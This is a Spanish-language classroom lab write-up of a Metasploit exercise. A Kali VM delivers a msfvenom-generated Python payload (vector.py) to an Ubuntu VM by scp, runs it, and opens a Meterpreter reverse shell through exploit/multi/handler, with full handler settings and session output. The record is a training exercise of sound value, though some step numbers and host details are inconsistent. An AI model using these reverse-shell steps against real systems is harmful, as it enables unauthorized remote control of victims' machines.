EJERCICIO METASPLOIT

1. Preparación del entorno

Se configuraron dos máquinas virtuales:

- **una con Kali Linux (la atacante),**
- **y otra máquina virtual que actuaría como víctima.**
  Ambas se dejaron en la misma red para permitir la comunicación.

```
┌──(kali㉿kali)-[~]
└─$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:90:46:b5 brd ff:ff:ff:ff:ff:ff
    inet 10.0.2.5/24 brd 10.0.2.255 scope global dynamic noprefixroute eth0
       valid_lft 360sec preferred_lft 360sec
    inet6 fe80::58e3:a5d9:ef62:97bf/64 scope link noprefixroute
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:f0:98:e9 brd ff:ff:ff:ff:ff:ff
    inet 192.168.56.102/24 brd 192.168.56.255 scope global dynamic noprefixroute eth1
       valid_lft 360sec preferred_lft 360sec
    inet6 fe80::a44f:a1cc:ef3d:77bd/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

┌──(kali㉿kali)-[~]
└─$
```

```
campus@ubuntu-campus:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNK
NOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_
codel state UP group default qlen 1000
    link/ether 08:00:27:8a:d9:2d brd ff:ff:ff:ff:ff:ff
    inet 10.0.2.4/24 metric 100 brd 10.0.2.255 scope global dyn
```

3. Creación de la carga útil (payload)

Se generó un archivo Python con una carga útil utilizando la herramienta msfvenom.
Esta carga útil está diseñada para que, al ejecutarse en la víctima, establezca una conexión inversa hacia la máquina atacante.

4. Transferencia del archivo a la máquina víctima

El archivo resultante, llamado *vector.py*, fue copiado desde la máquina atacante hacia la máquina víctima utilizando un método de transferencia adecuado (red compartida, scp, etc.).

```
┌──(kali㉿kali)-[~]
└─$ ssh campus@192.168.56.101
campus@192.168.56.101's password:
Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.8.0-87-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of mié 10 dic 2025 20:05:51 UTC

  System load:  0.05               Processes:               217
  Usage of /:   68.3% of 23.45GB   Users logged in:         1
  Memory usage: 17%                IPv4 address for enp0s3: 10.0.2.5
  Swap usage:   0%
```

```
campus@ubuntu-incidentes:~/Desktop$ ls
 03-HOPPER-F-20251117-182406.raw   hashes                  network.desktop   ram_adq          rockyou.txt   trash-can.desktop   vector.py
 computer.desktop                  lubuntu-manual.desktop  'Nueva carpeta'   rockyou-75.txt   START         user-home.desktop
```

5. Inicio de los servicios necesarios

En Kali se arrancó el servicio de **PostgreSQL**, necesario para el funcionamiento de Metasploit, y se abrió la **msfconsole**.

```
┌──(kali㉿kali)-[~]
└─$ sudo msfconsole
/etc/sudoers:10:15: syntax error
Defaults        kali timestamp_timeout=0
               ^~~~~~~~~~~~~~~~
Metasploit tip: You can use help to view all available commands


*Neutrino_Cannon*PrettyBeefy*PostalTime*binbash*deadastronauts*EvilBunnyWrote*L1T*Mail.ru*() { :;}; echo vulnerable*
*Team sorceror*ADACTF*BisonSquad*socialdistancing*LeukeTeamNaam*OWASP Moncton*Alegori*exit*Vampire Bunnies*APT593*
*QuePasaZombiesAndFriends*NetSecBG*coincoin*ShroomZ*Slow Coders*Scavenger Security*Bruh*NoTeamName*Terminal Cult*
*edspiner*BFG*MagentaHats*0x01DA*Kaczuszki*AlphaPwners*FILAHA*Raffaela*HackSurYvette*outout*HackSouth*Corax*yeeb0iz*
*SKUA*Cyber COBRA*flaghunters*0x CD*AI Generated*CSEC*p3nnm3d*IFS*CTF_Circle*InnotecLabs*baadf00d*BitSwitchers*0xnoobs*
*ItPwns - Intergalactic Team of PWNers*PCCsquared*fr334aks*runCMD*0x194*Kapital Krakens*ReadyPlayer1337*Team 443*
```

```
┌──(kali㉿kali)-[~]
└─$ sudo systemctl status postgresql
/etc/sudoers:10:15: syntax error
Defaults        kali timestamp_timeout=0
               ^~~~~~~~~~~~~~~~
● postgresql.service - PostgreSQL RDBMS
     Loaded: loaded (/usr/lib/systemd/system/postgresql.service; disabled; preset: disabled)
     Active: active (exited) since Wed 2025-12-10 15:12:02 EST; 23s ago
 Invocation: 73b92409255647ea9850ec31562e95e5
    Process: 8685 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
   Main PID: 8685 (code=exited, status=0/SUCCESS)
   Mem peak: 1.7M
        CPU: 6ms

Dec 10 15:12:02 kali systemd[1]: Starting postgresql.service - PostgreSQL RDBMS...
Dec 10 15:12:02 kali systemd[1]: Finished postgresql.service - PostgreSQL RDBMS.
```

7. Ejecución de la carga útil en la víctima

En la máquina víctima se ejecutó *vector.py*.
Esto provocó que la víctima intentara conectarse de vuelta a la máquina atacante.

8. Lanzamiento del exploit en Metasploit

Con Metasploit escuchando, se ejecutó el módulo configurado para aceptar la conexión entrante desde la víctima.

9. Obtención de la shell inversa

Al establecerse la conexión, se obtuvo una shell en Metasploit desde la que fue posible ejecutar algunos comandos en la máquina víctima para confirmar el acceso.

```
msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set payload python/meterpreter/reverse_tcp
payload => python/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.56.102
LHOST => 192.168.56.102
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > show options

Payload options (python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.56.102   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

msf exploit(multi/handler) >
```

```
┌──(kali㉿kali)-[~]
└─$ scp /home/kali/vector_simulator/vectorPrueba.py campus@192.168.56.101:/home/campus/uploads/

campus@192.168.56.101's password:
vectorPrueba.py                                       100%  438   249.0KB/s   00:00

┌──(kali㉿kali)-[~]
└─$
```

```
campus@ubuntu-campus:~/uploads$ ls
vectorPrueba.py  vector.py
campus@ubuntu-campus:~/uploads$ python3 vectorPrueba.py
```

```
[*] Using configured payload python/meterpreter/reverse_tcp
msf exploit(multi/handler) > set payload python/meterpreter/reverse_tcp
payload => python/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.56.102
LHOST => 192.168.56.102
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.56.102:4444
[*] Sending stage (23400 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.102:4444 -> 192.168.56.101:34840) at 2025-12-10 15:25:25 -05
00

meterpreter >
meterpreter >
```